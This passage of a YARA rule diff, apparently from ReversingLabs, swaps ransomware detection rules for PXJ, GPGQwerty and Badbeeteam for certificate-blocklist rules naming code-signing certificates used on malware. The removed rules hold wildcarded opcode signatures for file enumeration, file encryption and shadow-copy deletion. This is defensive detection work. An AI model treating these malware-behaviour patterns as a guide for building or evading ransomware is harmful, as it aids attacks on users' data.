uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $enum_resources_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RAFO TECHNOLOGY INC" and pe.signatures [ i ] . serial == "21:1b:5d:fe:65:bc:6f:34:bc:9d:3a:54" and 1526717931 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_PXJ : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5400D1C1406528B1Ef625976 : INFO FILE { meta: - description = "Yara rule that detects PXJ ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c1549905-5b31-55c0-a275-0ab8133b3504" - date = "2020-07-07" - modified = "2020-07-15" + id = "2b35f2db-ebf1-5533-858c-644dbd6dfb2b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.PXJ.yara#L1-L158" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15004-L15020" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e88d27dcd7ad3af459bd7e34fcc827822365441446b0e4e7bbec399c9a948cb7" + logic_hash = "fbdd37e050d68c4287e897f050a673aea071df105a35b07475d3233da3f03feb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "PXJ" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 68 ?? ?? ?? ?? - 33 F6 8D 8D ?? ?? ?? ?? 33 C0 56 51 89 9D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 53 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? - ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? - ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 53 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9 ?? ?? - ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B - 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? - 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 - } - $find_files_p2 = { - 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB - ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 9F ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF - 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? - ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? - ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D - 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3A C1 75 ?? 01 8F ?? ?? ?? ?? 11 - B7 ?? ?? ?? ?? EB ?? 01 8F ?? ?? ?? ?? 11 B7 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 8B 4D ?? 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 - ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 89 85 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4D - ?? 8B 55 ?? 51 52 E8 ?? ?? ?? ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 53 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 51 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 33 F6 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ?? - 46 83 FE ?? 7C ?? 8D 55 ?? 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? - ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 6A ?? 51 - } - $encrypt_files_p2 = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 95 - ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 56 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 85 ?? - ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? - 8B 3D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50 - 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 - 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D - 95 ?? ?? ?? ?? 52 56 FF D7 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ?? - ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 8B 9D - ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 D2 52 52 52 33 C9 51 50 - FF 15 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B C6 8D - } - $encrypt_files_p3 = { - 48 ?? 8B FF 66 8B 10 83 C0 ?? 66 85 D2 75 ?? 2B C1 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51 - 8D 14 00 8B 83 ?? ?? ?? ?? 52 56 50 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? - 51 6A ?? 68 ?? ?? ?? ?? 52 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? - 8D 4D ?? 51 52 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? - ?? 51 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 - 51 FF D7 8B B5 ?? ?? ?? ?? 6A ?? 33 C9 51 51 B8 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 85 C0 74 ?? 33 DB EB ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? - 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? - ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 83 C4 ?? 52 FF 15 ?? ?? ?? ?? 33 C9 51 51 33 C0 51 50 8B 83 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 56 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B - 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $delete_volumes_snapshots_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 33 FF 57 57 89 - 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 57 68 ?? - ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF - D6 57 57 8D 8D ?? ?? ?? ?? 51 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? - 6A ?? 57 57 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F - 84 ?? ?? ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? - ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 33 FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D 9B ?? ?? ?? ?? 8A 08 40 84 - C9 75 ?? 2B C2 57 8D 95 ?? ?? ?? ?? 52 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? - ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 88 0E E8 ?? ?? ?? ?? 8D B5 ?? ?? - ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? - ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF - 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8B FF 66 8B 10 66 3B 11 75 ?? - 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 - } - $delete_volumes_snapshots_p2 = { - EB ?? 1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? EB ?? 8D 64 24 ?? 8B BD ?? ?? ?? ?? BA ?? ?? ?? ?? 8B - CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A - ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 9F ?? - ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? - ?? ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 33 - FF 57 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 - ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? - ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 89 B5 ?? - ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83 FE ?? 0F 8C ?? ?? ?? ?? EB ?? 57 - 8D 9F ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B - 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $delete_volumes_snapshots_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "54:00:d1:c1:40:65:28:b1:ef:62:59:76" and 1474266628 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Gpgqwerty : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_013472D7D665557Bfa0Dc21B350A361B : INFO FILE { meta: - description = "Yara rule that detects GPGQwerty ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8848e00a-a695-575b-a29d-fc9521859e12" - date = "2020-07-15" - modified = "2020-07-15" + id = "9b63f06d-9808-5936-aad2-d387c74eccdd" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GPGQwerty.yara#L1-L83" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15022-L15038" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e59adadd66b4d242ac7337ce4b3c3ec6c60724f4cf5b86305f1e31b88745928c" + logic_hash = "ab908ef0fca56753bcba8bc85e2fdf5859b4e226c179ec5c6eb6eb3dc4014a8e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GPGQwerty" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC - ?? 83 F8 ?? 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ?? 31 C0 EB ?? 0F B7 43 ?? 83 C0 ?? - 66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44 04 ?? 84 C0 88 01 75 ?? 8B 44 24 - ?? 24 ?? 83 F8 ?? 76 ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 66 90 - 89 43 ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 E8 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ?? 83 F8 - ?? 89 03 74 ?? E8 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ?? - E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ?? - ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? 90 56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04 - 24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ?? - 31 C0 EB ?? 0F B7 43 ?? 83 C0 ?? 66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44 - 04 ?? 84 C0 88 01 75 ?? 8B 44 24 ?? 24 ?? 83 F8 ?? 77 ?? 89 43 ?? 81 C4 ?? ?? ?? ?? - 89 F0 5B 5E C3 8D B4 26 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B - 5E C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 81 C4 ?? ?? ?? - ?? 89 F0 5B 5E C3 - } - $find_files_p2 = { - 8B 45 ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 95 C0 84 - C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? - ?? 85 C0 74 ?? 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 - C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? - ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84 - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 - C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 - ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E8 - } - $encrypt_files = { - C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 - C0 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 - 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? - ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 C2 B8 - ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8D 85 ?? ?? ?? ?? 01 D0 66 C7 00 ?? ?? - 8B 45 ?? 83 E8 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Zhang" and pe.signatures [ i ] . serial == "01:34:72:d7:d6:65:55:7b:fa:0d:c2:1b:35:0a:36:1b" and 1470960000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Badbeeteam : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_66C758A22Bfbbce327616815616Ddd07 : INFO FILE { meta: - description = "Yara rule that detects Badbeeteam ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "39490b21-34b9-51cb-a3ed-672b3186a233" - date = "2020-11-13" - modified = "2020-11-13" + id = "4a7130ad-8b66-52a1-afd2-6d10776b4451" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Badbeeteam.yara#L1-L137" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15040-L15056" license_url = 